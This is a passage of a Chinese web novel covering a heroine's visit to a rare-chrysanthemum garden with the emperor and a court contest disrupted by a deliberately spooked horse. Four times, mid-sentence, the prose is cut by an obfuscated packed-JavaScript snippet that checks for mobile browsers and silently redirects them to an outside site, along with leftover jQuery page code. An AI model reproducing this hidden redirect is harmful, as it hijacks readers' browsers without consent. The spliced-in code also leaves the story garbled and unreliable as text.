曲霜姿忙改了口,老实道:“我听闻园里有别具一格的菊花,便想一睹风采。”误入园子这样的话,想来骗不了帝王,她咬牙说了实话。 男人沉思,“随朕来。” 曲霜姿胆颤心惊地跟了上去,猜想温孤昪应该是打算带自己去赏菊,她讶异而又受宠若惊,提着的心也放下几分。 她一向天不怕地不怕,此刻开始偷偷打量起温孤昪的容貌来。男人身段修长挺拔,比余肃还要高些,眉眼深邃、五官凌厉,他的皮肤白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931224|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得可怕,在周遭昳丽景色的衬托下,居然有种妖异之感。 更准确的来说,是将鬼气和仙气通通揉在了这一人身上。 “到了。”男人薄唇轻启,身上的阴郁气息突然间散了。 曲霜姿猛得回过神来,这才注意到已经彻底进了园子深处。虽是深处,但更为开阔,给人豁然开朗之感。 红黄色的菊不知何时已经消失不见了,取而代之的是大片的绿意,生机盎然。曲霜姿目瞪口呆,真的有碧绿的菊,阳光倾洒下来,落在一片花丛中。 她一眼就看到了那种黄绿色的菊。像是浸润在阳光里,暖暖地静静地闪着光,颜色极浅,绰约地立在那处透露出端庄与华贵,没有半点牡丹的傲气,却丝毫不亚于真正的牡丹。曲霜姿情难自禁地靠近,确定这就是她阿娘口中的绿牡丹。 这一幕落在温孤昪眸中,霜姿一席碧衣站在其间,眼中闪着欣喜的光芒,风故意玩闹似卷起少女的衣袍和发丝,使她几乎要与花融为一体。温孤昪看着她,莫名有异样之感,他皱皱眉,下意识摸上太阳穴。 头痛难耐。 “你喜欢绿牡丹?”男人面无表情地问,但语气中分明带着疑惑。 曲霜姿痴迷地伸手,下意识地点点头。 然而下一刻,她又被一旁另一种花吸引住了目光。 那同样是一种绿菊,但生长得格外肆意,叶肥花大,高挑硕大,每片花瓣卷势都如龙游、有的向上飞舞、有的向下垂下,在这天地间丝毫不受拘束。 其花端为青绿色,花瓣尾端又呈白色,两种颜色浑然一体、毫不突兀,却也青白分明,白中甚至带着那么一缕微红,堪称奇美绝妙。 温孤昪没有在意她的失敬,随口介绍道:“此为盘龙春晓,犹如无数青龙盘绕其中,故而得名。” “我更喜欢它。”曲霜姿牵起一抹笑容,转头看向温孤昪。 她这才想起来现下是何种情境,骇得头皮发麻,她慢半拍地反应过来,温孤昪没有动怒,甚至嘴边凝着抹古怪的笑。 太淡了,几乎叫人注意不到。 但曲霜姿茫然若失——这位传说中的帝王,与她想象中很不一样。曲霜姿头次见他,亦是宫宴之上,人人把酒言欢,虽然有几分拘谨,但终归是有活人的气息。而温孤昪,他就那么静默着轻举酒杯,偶尔把玩,偶尔抵在唇边,他似乎没有一丁点儿凡人的情绪,淡薄地睥睨所有人。 曲霜姿当时只道是高处不胜寒,甚至想过什么样的女子才能入得了他的眼,又或者说什么样的女人能够心甘情愿地陪在他身边。 她居然无端替温孤昪感觉到了孤独和寂寥。 书中云:“昪,形容喜乐之样,或日光明亮。” 那么这位看似凉薄的九五至尊,也会有流露喜乐之情的时候嘛? “朕脸上有菊花嘛?”温孤昪挑眉,随即直截了当地下令:“随朕去校场。” 什么!? 曲霜姿彻底傻眼,但还好反应迅捷,她答道:“是。” 59. 携春雨绵绵 校场之上,又是无数诡异的目光落在曲霜姿身上,曲霜姿甚至不知道该把视线落到何处,她小心抬眼,看众人齐刷刷地跪下向温孤昪行礼,她内心忐忑,当真是感受到了权力的可怖分量。. 她在万中瞩目下缓缓走向观赛处,恍若被架在火上烤一般,然而最令人窒息的还是来自温孤昪的目光,她一路僵硬地走到林寻雁身边,僵硬地打了个招呼。 蒲团还没坐热,余肃叔叔就派人来找她了。 “余肃叔叔……”曲霜姿紧张地咽了口口水,记忆中的余肃总是温和地笑着,此时此刻却冷着一张脸,蹙着眉头看向曲霜姿。 “我和寻雁去菊园透气,没成想陛下也在那儿,您放心吧,我没有摘面纱!”她举手发誓。 “菊园,”余肃恍惚一瞬,没有多说,只淡淡道:“你和你阿娘都喜欢菊花,她尤其喜欢绿牡丹。” “我今日也是头一次见到其真容,但是比起绿牡丹,我更喜欢盘龙春晓,您见过嘛?” 余肃点点头,他自然是见过的,菊园他从前常去,期待着能在那里偶遇曲婧。曲霜姿甫一提及菊,他脑海中第一时间浮现的也仍旧是曲婧的容貌。 好一会儿才缓过神来,答道:“见过。” “古时,天地间出现了一条恶龙,凶残暴戾,致使人间生灵涂炭,天神派遣诸位神仙下凡拯救苍生,却始终无法制服。” 曲霜姿倒没听过这个故事,眼睛直亮,“然后呢?” “最英武的天神——神农氏从天而降,与恶龙激战三天三夜,终于斩杀了恶龙,但恶龙的鲜血使得万物凋零。” “神农氏将自己的神力化作一株菊花,在阳光的照耀下宛若一条青龙,绽放出夺目的光辉,让世间万物恢复生机。” 余肃平静地讲着这个故事,嘴角却不知不觉的浮了起来,这是曲婧曾经讲给他的故事。 他记忆犹新。 “所以,此花的名字便意味着盘旋的龙带来春天的曙光?”曲霜姿听得津津有味,总结道。 “正是。” 曲霜姿正回味着这个故事,校场上便传来阵阵喊声,她抬眼,发现各个青年才俊已经上场了。 为首的是三位皇子,紧接着各府的公子哥儿们,余千帆、霍迁亦在其列。曲霜姿瞪大眼睛往远眺,这才看到沈无逆的身影,她感到不可思议,沈霁明好歹也是邵辰皇子,怎么被人怠慢到这地步。 余肃安慰性地拍拍她的肩膀,轻声问:“你很在意他?” “我们与他很久以前就见过,如今他却变成了这个模样,替他不甘心罢了。” 余肃这十五年来不问京中事,甚至是这次回京才想起还有这号人物。但邵辰小国实力不断衰减,纵使大安力不如前,也能轻易地攻城略地,而且据说邵辰王宫里的那个收养来的皇子——其实是邵辰的正统血脉。 这样的情形下,自然不会有人善待沈霁明。 但直觉告诉他,此子绝不简单。在长久的欺压下,他仍旧周身一副明月清风的气宇,如今的八面玲珑、隐忍蛰伏……也许在未来会化作万千利箭攻向大安,至少是个不小的威胁。 所以曲霜姿,最好不要和这样的人扯上关系。 余肃忧虑地看向曲霜姿,少女亦神色凝重地看沈无逆,连同余千帆冲她招手都没看见。 那头的温孤昪依旧不露声色,微微颔首示意比试开始。总管太监立即扯着尖细的嗓子喊道:“今日陛下龙辰,咱们比些新颖的。” “四人一组,分为六组。一人骑马射箭,率先射中靶心的队伍的第二人可率先争球,共三球,先夺球者先捶丸,后一队友取得球后进行木射,每人十五球,得分最高者其队友骑马先行,先到终点的两个队伍再进行马球比赛。” “最后胜者——受重赏!” 规则一出,众人哗然,比试助兴不少见,但这样复杂的比试还真是史无前例,这不就相当于拿人当猴耍嘛? 纯粹是专程为了皇帝看热闹取乐。 广德侯府的小侯爷鬼机灵,瞬间就不乐意了,连忙称自己身体不适不宜参赛。 洛大公子向来善武,又心胸开阔、豪放不羁,更别提他正值适婚年纪,巴不得在众人面前表现自己,赢得那头姑娘们的芳心。 他站出来活跃气氛道:“三位殿下英明神武,可不能组成一队,不然可就没法儿比了?” “洛公子哪里的话,要论马球,你才是数一数二的吧。”三皇子仰着脑袋,戏谑笑道。他年纪是众人中最小的,武艺不比两位兄长,洛信远这是马屁拍到了马腿上。 三皇子颖悟绝伦,表面是在夸赞,其实是在讥讽。毕竟场上几乎人尽皆知,先前洛信远打马球输给了废柴沈无逆。 洛信远笑容僵住、面色铁青。有人急忙出声缓解气氛,“大家不如先组队吧。”那人倒是机灵,说话时小心翼翼地看向了温孤嘉宥。温孤嘉宥自然不想自家弟弟和外人吵闹,多少失了皇家颜面。 “那我和二弟各为一队,诸位请便。”温孤嘉宥温声开口,从容不迫地站在原地,便立刻便有人上前想要加入他的队伍。 但其实不论分不分组,沈无逆早就被晾在了一旁,此时此刻垂首立着,不知在忖度什么,叫人看不清他神色。 余千帆挑挑眉,从人群中退了出来,站到了沈无逆身旁。 沈无逆没有料到,他压下心中惊讶,笑着笼袖作揖,似是感激涕零,“多谢余公子。” 瞬息之间,场上局面已变,只余三人还散散地站着。广德府的小侯爷退出了比试,空余三人已是板上钉钉,但令众人没想到的是,除了沈无逆,落单的居然是两位相府的公子。 霍迁被落下纯属意外,他一向自矜自傲,又与大皇子素来亲近,本该顺理成章地和温孤嘉宥组成一队。但没成想,今日其他贵胄子弟卯足了劲儿都想在一众女眷中表现自己,一队人数本来就少,不一会儿便就没他的位子了。 他只好等旁的世家子弟邀请他组队,可是地位劣于他的,他又看不上,觉得丢了自己的面子,最后只好被尴尬地剩下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941907|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 盛忠见情况不妙,只好附耳低语请示陛下。 陛下脸色阴沉,久久都没说一句话。 直到场上的寂静被一道嘹亮的女声打破。 “不是要打马球吗?那女子应该也能参加吧。”马球这娱乐活动向来受民间欢迎、皇家重视,前朝甚至还有专门的女子球队。据说在二十年前,这项活动在大安的名门贵女中也颇为风靡。 而如今,亦没有女子不得打马球的禁令。 众人齐刷刷地看向声音的来源,说这话的正是曲霜姿。她方才得了余肃无可奈何下的默许,便开口询问,正跃跃欲试地想要上场呢。 温孤昪远远地盯着曲霜姿看,他眯起眼睛,鸦羽长睫垂下,挡住眼底眸光流转,随后浓眉一挑,来了兴致。 众人看不出他神情,女眷那边已经乱了套,都觉得曲霜姿是胆大包天,居然敢这么主动地往男人堆里扎,当真是不知廉耻。 场上的余千帆和沈霁明都为她捏一把汗,这位帝王一直都阴晴不定,稍有不慎便会引来雷霆之怒。 但余肃倒是胸有成竹,他抬眸淡淡地瞥向温孤昪。他太了解他了,并且笃定温孤昪是一定会让这赛事进行下去,更不可能怪罪于曲霜姿。 果不其然,高台上的男人微微颔首。 总领太监盛忠立即欢喜地派人来请曲霜姿上场,曲霜姿接过宫女送上来的襻膊稍束衣袖,随后就要上场。 下台前,她与余肃对视一眼,见余肃冲她淡然地点点头,她这才松了口气。 原以为余肃叔叔会阻止自己呢。 她跨步上马,腰背挺拔笔直地行向校场中央,她志得意满地冲沈霁明和余千帆笑笑。余千帆立刻骑马来迎,二人并行时,余千帆笑着骂道:“你真是好大的胆子。” “余叔叔都许我上场了,你哪来这么多话,要是没有我,你怎么在这群女眷面前大展身手啊。” “表兄啊表兄,你喜欢哪家姑娘啊,妹妹我帮你参谋参谋,我们寻雁如何啊?”她不动声色地嬉皮笑脸。 余千帆眸光顿时黯淡失色,他眉头不经意间蹙起,哑言半刻才干巴巴道:“勿要胡言胡闹。” 沈霁明静立在原地,看着身着碧衣的曲霜姿驾马轻快而来。 哽在他胸腔、喉头的一股浊气突然间散了,他心神恍惚地注视着曲霜姿,心底莫名地感受到了难以言表的昕悦。 如同青云携春雨绵绵,翩翩而至。 他费力使自己回神,见旁边的霍迁狐疑地扫着自己。 霍迁神情紧绷,忽得破开炸出个狂放的笑,“你不会是心悦于她啊,不过人家现在可是攀上了高枝,单从身份来说,你可配不上人家。你看看人家来了大理寺后破了多少案子,也算是聪明伶俐。” “不过,”他随即话锋一转,“她身体终究流着庶民的血,你若是真喜欢她,我为你说媒啊。” 沈无逆咬牙攥拳,骨头嘎嘣脆响,然而他面上仍旧噙着抹笑,不明所以地嗯了一声,搞得霍迁摸不着头脑。 60. 事后诸葛亮 见大理寺连日来屡破奇案立大功,霍迁心中对曲霜姿的成见其实已经消散了,甚至还有那么几分由衷的佩服。 但对于沈无逆,他虽也勉强算是霍迁的上司,但大理寺内部也不过是心照不宣地假敬称他为大人,除了几个寒门出身的捕快,其余人都各自拉帮结派,没人会听沈无逆调遣。 出了大理寺,就更不用说了。 曲霜姿这时已经靠近,将霍迁最后的阴阳怪气听了个尽,她翻身下马,“霍仵作这是在和沈大人说什么呢?” 这一句“霍仵作”彻底将霍迁激怒了,要不是此刻身在校场上,他恐怕就得和曲霜姿撕破脸斗嘴了。 曲霜姿不理他,转头冲沈霁明挤了挤眼睛,“这样你就不会落单了。” 比试正式开始,温孤嘉宥和洛信远等人一队,温孤嘉宸则和三皇子温孤嘉宏、还有白二公子等几人一队。 相比较而言,曲霜姿的队伍就有些力量薄弱了,沈霁明要扮废柴、霍迁是真纨绔,也就只有曲霜姿和余千帆二人能挑起大梁了。然而霍迁这时候还不服气,嘴欠道:“跟你们一队,本公子当真是倒了八辈子大霉。” 余千帆给了他一记眼刀,“霍公子,你觉得你能胜任哪一项?” 霍迁霎时间熄了火,缄默不言了。 “那我来射箭,霜姿身手快争球捶丸,沈大人木射,”余千帆一顿,怀疑地瞥向霍迁,“霍大公子,您骑马总会骑吧?” “你看不起谁呢?怎么不让沈无逆到最后一项!”霍迁咬牙切齿,炮仗似的一点就炸,自己按捺了半晌,火气才下去。 曲霜姿翻了个白眼,“沈大人能做大理寺寺正,必然是有一定武艺傍身的,自然不如您金尊玉贵。” “咱们胜算不大,别输得太惨就是。”余千帆飞身上马,制住二人吵架。 霍迁对自己的几斤几两还是清楚的,只得先忍了这口气去了下半程侯着。曲霜姿和沈无逆相视一眼,居然不约而同地牵起了笑容,曲霜姿抬手握拳,“加油。” 接下来就看余千帆的了。 温孤嘉宸和温孤嘉宥分别是各自队伍的第一代表,二人先后上场,皆是气定神闲。 余千帆亦丝毫不怯场,搭弓射箭、屏息敛声,青緺色的发带随风扬起,在空中摆动,同时也晃动了场上人的心弦。 曲霜姿跟着屏住呼吸,随着破弦之音鸣响,心也跟着飞了出去。 场上几人几乎是同时发箭,二皇子那边已经传来了欢呼喝彩之声,已然是一发便中了。余千帆却仅仅是差那么一点点,幸而尤其善射者较少,他深呼一口气、平定心神,再搭弓拉弦。 曲霜姿激动地挥舞拳头,低呼道:“中了!” 与此同时,大皇子也射中了。 曲霜姿反应飞速,脚下轻点腾空而起,向争球处扑去,她速度轻快,赶到时洛信远还未离开,她暗暗松了口气,轻而易举地取到了球。 谁料洛信远不急着捶丸,突然近身飞踢,踢走了曲霜姿手中的球,男人脸上带着戏谑和挑衅,曲霜姿不甘示弱,她虽没洛信远武艺扎实,但胜在余肃教得好,她亦有她的独到之处。 比之男子,她身段轻盈灵巧,还没等洛信远笑完,曲霜姿就趁着他分神夺了他怀中的球,同时还踢了脚地下先前被洛信远踢飞的球,无心插柳柳成荫,竟意外中伤了洛信远的脸颊。男人登时瞪大了眼睛,他错愕又恼火,丝毫没料到曲霜姿居然有如此身手和胆色。 属实是他狗眼看人低了。 从前在荨州,曲霜姿没少和嘲笑过她的熊孩子打过架,再大点就靠着功夫狠狠惩治地痞无赖。她动手向来讲究的是一个投机取巧,对面手黑,她就手更黑,久而久之至少在打架这一方面,她已经学透了“阴险”。 这种情况刚好适用,曲霜姿脚下一勾球,怀里就又多了一颗。 他二人在此纠缠不休,其他队伍都已经追上来了,正乱作一团你争我抢。突然不知谁家公子看到了捧着球的曲霜姿,也不顾什么道德不道德了,扑过来就要抢,他这举动惊了周遭其他没球的人,纷纷放下了脸面来抢曲霜姿的。 洛信远呵呵一笑,重新夺了一颗,便脱身前往捶丸。 曲霜姿咬牙暗骂,这群人居然还地痞无赖一个作风。眼看她被三个大男人淹没,余千帆和沈霁明两边同时心提到了嗓子眼儿,这群公子哥里边不乏有纨绔色坯,要是谁安了歪心思趁机动手动脚,那可就遭了。 然而不论他们有没有这样的心思,曲霜姿也绝不会让他们有机可乘。 她攥紧了球,面上神色佯装得慌乱无辜,手却丝毫不闲着,暗地里都砸在了那些贵公子身上。 有人哎呦哎呦地痛呼,“那个混蛋砸我啊!” 呼着呼着就互相怀疑,两人缠到一起互殴起来。 只剩一位身着蓝衣的冷冷注视着曲霜姿,威胁道:“曲小姐一人拿两颗球,可不合适吧。” “我要是只有一颗球,你们也会来抢吧。”曲霜姿盯着他丝毫不客气地回敬。 “那就被怪我不客气了。” 赤手空拳,曲霜姿很难赢过男人,此人又心思深沉、格外警惕,不给她耍滑的机会。曲霜姿只好妥协:“我给你一个,咱们都不要浪费时间了。” 蓝衣男子傲慢地轻抬下巴,示意曲霜姿交出来。 曲霜姿伸手出来,男子抬手来接,然而她握得极紧,打定主意了要戏耍男子。她抛出另一手里的小球,男子下意识抬手去接,借着这个空档,曲霜姿撒腿变跑。 她还不忘了吆喝:“那边两个打架的,球在那蓝衣服的手里!” 她其实也是料准了男子不敢硬抢,毕竟她是个未出阁的姑娘,还是余府的,要是真的敢上手来抢生出什么事端,那可就麻烦了。 曲霜姿跑到捶丸的关卡,拿起球杖就要击球,她细心观察身边两人,见两人都是满面愁苦、气喘吁吁,她顿时明了了。 捶丸,即是以球杖击球入穴。 与其说是入穴,不如说是入凹槽,凹槽由木制成,旁边插着小旗。这凹槽虽离人不远,但这之间还有许多木制的障碍物。 本次比试又只给一颗小球,稍有不慎失败了就得亲自去捡,跑来跑去劳累不说,还丢了面子。 曲霜姿嘴角上扬,眼睛却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13949201|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧紧盯着远处的小旗,她向来手稳心细,从前虽对这类游戏不感兴趣,但也不是完全没接触过。 几乎是百发百中。 她聚精会神,将整个世界抛却,置身于事外。曲霜姿轻轻挥杆,小球稳而快地滚了出去,一路畅通无阻地进了凹槽。 一旁负责汇报场上情况的太监都惊了。 曲霜姿拱手,“承让。” 余千帆遥遥喊了句:“霜姿,厉害啊!” 沈霁明甚至有些没反应过来,他就这样第一个得了球。他听见身边人懊丧不甘地骂道:“哪有大男人玩这玩意儿的啊,简直是太不公平!” 在此之前,几乎是所有人都不看好他们这队,觉得他们必输无疑,那女子还能比过男子不成?他们与生俱来着优越感,故而他们恃勇轻敌、他们不屑一顾、他们漫不经心。 如今比不过女子,却又事后诸葛般斥责比试的不公。 殊不知,这世界早就极大程度的偏爱他们了。 沈无逆一时之间都不知道该这样面对手中的球,他用曲霜姿握过的球换了木射专用的球,却仍然缓不过神来。 木射而已、游戏而已,对他本是易如反掌。 可是他必须佯装得迟钝笨拙,不敢在人群中出半点的风头,必须做那个不敢违逆他人半分的沈无逆。他咬紧牙关,用力过猛的手不由自主地发颤,他听见曲霜姿在那边焦急地喊着。 “不过是一场比试!”曲霜姿告诉他。 是啊,这句在外人耳朵里安慰的话,在沈无逆心里却是鼓舞,像是偌大的世界只剩下了他们两人,像是他们在相互依偎、轻声耳语,像是他们相濡以沫、心有灵犀。 不过一次木射,沈霁明忽得释然了,哪怕赢了又有什么所谓呢?哪怕就这一次,他也想为了曲霜姿赢一把。 木射,又名十五柱球,以球为箭,以木为靶,故名如此。场上十五根笋型柱子都刻有文字,红色柱子刻有仁、义、礼、智、信、温、良、恭、俭、让,另外五根黑色的柱子刻有慢、傲、佞、贪、滥。以球击木柱,击中了上有红字的柱子加分,击倒黑柱减分,最后得分高者胜。 而在本次比试中的木射又有所不同,规则言明得分高者先行,但如果仅仅是这样的规则,那么之前的环节的求快就都没了意义。 沈无逆神情严肃,将手中球推出,看似有气无力,实则一击即中。旁边的男子不以为然,冷哼道:“不就是运气好吗?一会儿本公子轻轻松松赢过你。” 沈无逆没吭声,又接连发出三球,二跑偏、一中红,果然引来嘲笑连连,此时其他二人也依次拿到了球,开始木射。 其他两人也不是吃素的,你争我赶很快追上并超过了沈无逆。就在其中一人马上要发出最后一球时,沈无逆神色平静地挑了挑眉,唯有眸子里闪过一道光。 瞬息之间,场上四个柱子齐刷刷地倒下,众人甚至根本来不及反应是怎么一回事,只下意识发出慨叹。 发出最后一球的那人以为这是为自己的欢呼,嘴角还没来得及上扬,身后却突然传来曲霜姿嘹亮的喊声。 “霍迁,跑啊!” 61. 激起千层浪 沈无逆在场上一直都是缓缓发球,并保持着中几个后再失误一次的频率,远不如身旁两位木射角逐之精彩激烈。然而几乎也没有人注意到,沈无逆没有碰到一个黑色的柱子,最后一击,他又用一球击倒三个红柱子。 满分者自然不需与任何人相比较。 霍迁瞠目结舌,慌张上马,他本以为自己左不过就是个充数的,没想到自己的队友都这样优秀,而他这个半吊子纨绔此时竟然成了全场的焦点、成了全队的希望。 他霍迁何时在武艺比试上被寄予过如此厚望,他慌不择路,只觉头晕眼花看不清路,就连马儿都不听使唤、不跑直线了。 这样下去,后出发的二人很快会追上他。 “霍迁,你行不行啊!别丢人啊!”余千帆气不过高声骂道。 霍迁回首不服地嚷道:“别小看本公子!” 顷刻之间,曲霜姿似乎看见有什么飞了出去,她定睛一看,然而还没看清楚就被场上的呼声吸引了目光。 比试愈加激烈,赛道上的霍迁加快速度,马儿发出洪亮的鸣叫,在空中几乎跑出了一道残影,一骑绝尘地到了终点。 赢了!? 曲霜姿慢半拍地反应过来,迅速和身边两位队友交换眼神,二人眼里没有半点昕悦,她回想起霍迁策马时的画面,瞬间觉察出不对。 不是霍迁加快了速度,而是有人掷了什么使马儿受惊发狂,霍迁那头已经开始呼救。 曲霜姿转头,咬牙切齿地看向那物什的来处,果然捕捉到了一男子心虚回避的眼神。男子本想以此让他们输掉比赛,可没成想反而助力了霍迁夺冠,还捅了天大的篓子。 霍迁的马仍在疯跑,一边嘶鸣一边绕着整个校场狂奔,竟将众人都围了起来,霍迁紧紧抓着缰绳,连呼救的空档都没了。 场上惊呼连连,众人的心都提到了嗓子眼儿,霍相心急如焚地跑下看台,“这是怎么一回事?” 温孤昪脸上终于有了忧虑之色,他沉声下令:“谁能救下霍公子得重赏!” 曲霜姿瞅准时间想要往上冲,被余千帆一把拉了回来,“那马不要命,难道你也不要命了?” 不等曲霜姿出言反驳,那马已经先行朝他们的方向冲了过来,曲霜姿瞪大眼睛,这马突如其来又来势汹汹,叫她和余千帆根本来不及躲闪,她唯一能做的只有用最快的速度推开余千帆。 她大脑唰得空白,一股寒意从她天灵盖灌入,冻住了她的四肢百骸,曲霜姿下意识皱眉闭眼。 有人从她身前擦过,曲霜姿猛得睁开眼睛,看见沈无逆提剑而上向疯马扑去,一剑劈向那马的脖颈。 众人皆是不可置信,怎么都没想到会是沈无逆出这个头,余千帆缓过神来也冲了上去,一石激起千层浪,紧接着又有人加入缠斗。 马儿动作幅度更大,霍迁终于招架不住,欲摔下马之时,曲霜姿再无法按捺,一跃而起,算是把男人给接住了。曲霜姿有些太高估自己,她没想到霍迁能这么重,男人陷入恐慌中身体更加沉重,曲霜姿架着他动作都变得迟缓,险些被疯马踹到。 千钧一发之际,一根箭矢从远处破空而来,在空中惊起一道风,发出了颤栗的声音。 箭敏然又精准地插在了马的要害处,它哀鸣着挣扎,但早已是强弩之弓,重重地摔倒在地上,渐渐化作瘫死水,唯有一双巨大的眼睛还在不甘地望着这世界。 曲霜姿喘息未定,怔怔地看着马,又看向远处拉弓射箭的余叔叔,喉头哽住,半晌无法言语。 霍迁惊魂未定,瘫在地上发抖,被陛下派人抬着担架送去诊治休息。 余肃默然地立在原地,冲她招了招手,曲霜姿还没来得及和沈无逆、余千帆说上话,但也只能走向余肃。 男人搁了弓,拉着她上上下下打量一番,眼神中盛满忧虑,“没事吧?” 曲霜姿摇摇头,她看向余肃略有颤抖的手,叔叔在害怕,曲霜姿心里咯噔一下,随后她仰头笑道:“真的没有。” 男人松了一口气,“今日这比试是无法进行了,就在我身边呆着,不要乱跑了。” 少女愣了愣,有些不情不愿地坐到了蒲团上,她看上场上各自整休的少年若有所思,“叔叔,那匹马不是突然发疯的。” “我知道。”余肃淡淡道,轻轻擦拭着弓箭。 “陛下也知道,所以……”他话未说完,曲霜姿便开口替他道:“所以就只能这样了吗?” “霜姿,”余肃认真地盯着她的眸子,“在你有能力打破规则之前,不要将这种事情纳入自己力所能及的事情当中,这不是你该管的,至少不是现在。” 曲霜姿明白这个道理,她叹息一声,“掷石子的那人是谁家的公子啊?” “魏家的,并非什么钟鸣鼎食之家,但陛下暂且也没有要动魏家的意思。”余肃解释道,“陛下深谙制衡驭下,牵一发而动全身。” “您好像很了解陛下?” 余肃牵了牵嘴角,“这天下除了我,怕没人更懂得他了。”他的笑容逐渐消散,眸色瞬间黯淡下去,他并没有和曲霜姿说清楚。世人虽传大安皇帝十余年来性情大变,然而余肃却再清楚不过,他一直都是如此,心思深沉而又不近人情。 温孤昪的内心早已是一摊浑浊腌臜的泥潭,恨不得将所有人都拉入深渊。 而这世上最最了解他、最最怜惜他的人,也已经被他亲手毁掉了。 曲霜姿没有注意到余肃阴郁的神色,她被余肃那句意味深长的话震得愣神,甚至没有发现走上台来的余千帆。 “想什么呢?”余千帆换了身衣裳,脸上;不知哪里来的一道伤痕。 曲霜姿瞪大眼睛,“你受伤了?” 余千帆惭愧地挠挠头,不好意思地说:“被溅起的石子划伤而已,并无大碍。”曲霜姿不由得想起先上阵的沈无逆,目光焦急地满场寻找他的身影。 “你怎么那么关心他,”余千帆不悦地撇撇嘴,“他可不是什么善茬。”他嘟囔道。每次他靠近沈无逆时,心中是万般不自在,总感觉那笑脸相迎之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968007|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下有什么难以言喻的可怕事物。 曲霜姿下意识反驳,脱口而出的瞬间却莫名茫然了。 她也曾经想过,沈无逆为什么总是和余家人不对付,而事到如今,她却会为了同样的问题改换立场,下意识地去维护沈无逆。 不对劲,可她想不出是哪里不对劲。 余千帆神色一僵,忽而又释然地笑了,“别找了,他走了。” 说实话,他没想到曲霜姿遇难之时,沈无逆竟能毫不犹豫地举剑相救,而他自己纵使有心也是无力,呆愣在原地,竟然反而被少女推开了。 他脸色肉眼可见地难看起来,只最后无力地嘱咐道:“不要再拿自己的性命开玩笑了。” 至少在他有能力保护她之前,至少在他回来之前…… — 翌日,曲霜姿起了个大早,余肃叔叔好不容易休沐,欲带她去郊外游玩。天已然彻底冷了下来,却仍不失为一个出游的好日子,曲霜姿兴高采烈,甚至比乐知还起得早。 乐知睡眼朦胧,声音还绵软无力,“霜姿,你怎么起这么早啊。” 从前在荨州的时候,他们一家就常出游游玩,荨州鸟不拉屎的地方,麻雀大小,翻来覆去也只有几处地方可供游玩,但曲霜姿每每都很期待。 曲霜姿坐在马车里时却还是感受到了一丝迟到的怅惘。 从前都是骑马,小时候还都是她阿娘带着她,她在阿娘的怀抱里便会感觉到前所未有的踏实感。余肃敏锐地捕捉到了曲霜姿的情绪,但亦是愁苦难言,他其实不信曲婧已经身死了的,“霜姿,也许你阿娘只是回家了。” 不是哄骗小孩儿的话,他眼里满是真挚。 曲霜姿茫然了一瞬,挤出一个笑容,“是。”她总听曲婧念叨她的家,那是个遥远无比的地方,像是仙人之境。 她不是没有这样安慰过自己,可曲婧确确实实是离她而去了,悲痛每时每刻都在提醒她认清现实,在每一个午夜梦回、每一次深夜惊醒、每一个欢喜无人言说的瞬间。 “我会陪你,代替你的阿娘。”余千帆郑重许诺,眼底仍有一抹淡泊的悲戚。 乐知挽住曲霜姿的胳膊,“我也会陪着你。” 曲霜姿笑笑,这才想起来,“今日余千帆怎么没来?他不是最喜欢凑热闹了吗?” 余肃嘴边也牵起笑容,“他走了,昨天晚上便离开了。” 曲霜姿和乐知齐齐傻眼,连忙追问:“去哪儿?” “他说要去看看这世界,但心中仍有贪恋,只好不做告别。”余肃淡淡地解释,似乎早就料到少年会有此行径,每个孩子大抵都会经历这样的成长,“总要离开避风的港湾,学会承担、学会长大。” 他掏出一张纸,是余千帆的字迹,龙飞凤舞的,虽不大工整,但别有番风骨。 “江湖再见,”曲霜姿念了出来,接着想到那天他们在屋顶夜谈,想到余千帆说想要做真正的千帆,想到更久以前,少年期望道:“愿我是我。” 那就江湖再见吧。 62. 霍府分尸案 十月便是入了冬,寒风裹挟着阳光,把阳光的暖意吞噬得所剩无几。但冬天的人们向来知足,只需着一缕阳光、一丝暖意,便是暗室逢灯。 